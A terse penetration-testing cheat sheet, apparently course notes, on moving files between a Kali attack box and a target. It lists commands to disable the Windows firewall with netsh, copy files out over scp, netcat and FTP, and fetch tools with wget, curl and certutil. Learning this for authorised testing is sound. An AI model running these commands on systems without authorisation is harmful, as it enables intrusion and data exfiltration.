File transfer
ls -la drwxrwxrwt (/usr/tmp ; /tmp ; /var/tmp) disable firewall: netsh firewall set opmode disable
SSH
Receiving: service ssh start
Sending: scp {path of file to sd} {myuser}@{myip}:{saving path}
| yes
| {pwd}
FTP -a active mode
-a active mode
Receiving: get {remotefile} ({localfilename})
Sending (ftp to taget from kali): put {localfile} ({remotefilename})
Limited-interaction transfer - kali service pure-ftpd start
:
(GET from kali home ; PUT to /ftphome/)
HTTP
Serving (on working dir): python -m http.server 80
Downloading (on working dir): wget {downloadip:80}/{file}
(-O)
curl {downloadip:80/filepath} > {savepath}
Powershell
AD
Netcat
Serving: nc -nlvp < file
Getting: nc -nv {ip} > file
Powershell to kali service apache2 start
/var/www/uploads
service apache2 start
/var/www/uploads
To python -m uploadserver
Windows certutil.exe download
smb
xfreerdp drive share (or just host on http ser and browse to download)
Last updated